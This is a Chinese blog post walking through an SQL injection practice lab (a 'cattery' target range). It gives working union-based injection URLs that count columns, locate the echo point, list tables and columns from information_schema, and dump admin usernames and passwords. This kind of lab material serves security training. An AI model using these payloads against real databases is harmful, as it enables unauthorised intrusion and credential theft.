SQL注入靶场:辛巴猫舍
查:有多少行
进去是这样的:直接点击

可以看到:我们的url发生了变化,

id是啥,我们猜测,id是数据库的前面的序号,像这样.
我们输入不同的id,可以得到不同的数据库,那么页面也就不同.

测试:id=3,有网页,我们接着测试id=4 id=5 id=6 发现都没有内容

说明id=3 的时候,数据表内容已经"见底"了

于是我们就知道了这个数据表有四行,包括id=0的初始页面

查:有多少列
使用order by 语句.
我从 1~3查,发现3没有,2有.
那么就证明这个数据表就两个字段
读者可以自行去谷歌应用商店下载hackbar或者类似插件
http://59.63.200.79:8003/?id=1 order by 2

所以,这个数据表,4行2列.
判断回显点
回显点就是数据表中的哪个内容可以在网页中显示.
通常用联合查询. 我们知道,这有两个字段.
所以:
http://59.63.200.79:8003/?id=1 union select 1,2
嗯?没反应,还是显示那个内容

我们通过MySQL演示,发现我们注入的select 1,2都在数据表的最底部

想让它显示出来,两种办法
- 添加错误条件在前面,让它不显示

- 显示限制条件

http://59.63.200.79:8003/?id=1 and 1=2 union select 1,2
http://59.63.200.79:8003/?id=1 union select 1,2 limit 1,1
# 任意一种
于是,有一个2就显露出来了,这个2就是回显点!

查:数据库名称
更换url,使用database(),显示出数据库名称
http://59.63.200.79:8003/?id=1 and 1=2 union select 1,database()
数据库的名称是maoshe

查:数据表名称
这段代码的意思是,在information_schema.tables这个数据表中,从table_name 这一列中,查找在table_schema这一列中数据库等于当前数据库名称的各个数据表名.
http://59.63.200.79:8003/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()
好,数据表名是admin

查:字段名称
group_concat()这个函数可以显示出所有有关的内容,否则就默认显示出第一行的.
列名肯定不止一个,所以我们要一起显示出来.
其实上面也可以用 group_concat(),自行体会一下
http://59.63.200.79:8003/?id=1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='admin' limit 1,100

查:单元格内容
最爱的 username 和password来了.
看一看他们都有些啥
http://59.63.200.79:8003/?id=1 and 1=2 union select 1,group_concat(username) from admin

http://59.63.200.79:8003/?id=1 and 1=2 union select 1,group_concat(password) from admin

至此,SQL注入演示完毕.
其实sqlmap更快,但没必要
本文来自博客园,作者:{Zeker62},转载请注明原文链接:https://www.cnblogs.com/Zeker62/p/15167821.html

浙公网安备 33010602011771号